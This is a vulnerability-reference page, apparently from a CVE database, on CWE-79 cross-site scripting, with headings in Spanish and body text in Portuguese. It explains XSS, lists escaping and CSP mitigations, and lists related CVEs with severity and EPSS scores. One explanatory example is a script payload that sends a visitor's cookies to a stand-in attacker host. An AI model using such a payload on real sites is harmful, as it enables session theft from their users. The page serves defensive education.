Fallos del tipo CWE-79

28.554 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-23544HIGHServer-Side Request Forgery in Metersphere leads to Cross-Site ScriptingEPSS 1.6%CVE-2021-21023MEDIUMMagento Commerce Stored Cross Site Scripting Vulnerability Could Lead To Arbitrary Code ExecutionEPSS 1.6%CVE-2020-1451MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2020-1450MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2016-9128—Revive Adserver before 3.2.3 suffers from reflected XSS. The affiliate-preview.php script in www/admin is vulnerable to a reflected XSS attaEPSS 1.6%CVE-2021-24239—Pie Register < 3.7.0.1 - Reflected Cross-Site Scripting (XSS)EPSS 1.6%CVE-2017-12343—Multiple vulnerabilities in Cisco Data Center Network Manager (DCNM) Software could allow a remote attacker to inject arbitrary values into EPSS 1.6%CVE-2021-24454—YOP Poll < 6.2.8 - Stored Cross-Site ScriptingEPSS 1.6%CVE-2021-44177HIGHAdobe Experience Manager Stored XSS in user name parameter in the package managerEPSS 1.6%CVE-2024-1234MEDIUMExclusive Addons for Elementor <= 2.6.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 1.6%CVE-2021-43765HIGHAdobe Experience Manager Stored XSS in the Carousel SetEPSS 1.6%CVE-2021-44176HIGHAdobe Experience Manager Stored XSS in workflow Stages parameterEPSS 1.6%CVE-2020-0693MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2024-41358MEDIUMphpipam 1.6 is vulnerable to Cross Site Scripting (XSS) via app\admin\import-export\import-load-data.php.EPSS 1.6%CVE-2023-1496MEDIUMCross-site Scripting (XSS) - Reflected in imgproxy/imgproxyEPSS 1.6%CVE-2019-0963MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%CVE-2024-35266HIGHAzure DevOps Server Spoofing VulnerabilityEPSS 1.6%CVE-2021-24657—Limit Login Attempts < 4.0.50 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.6%CVE-2024-35267HIGHAzure DevOps Server Spoofing VulnerabilityEPSS 1.6%CVE-2018-8650MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.6%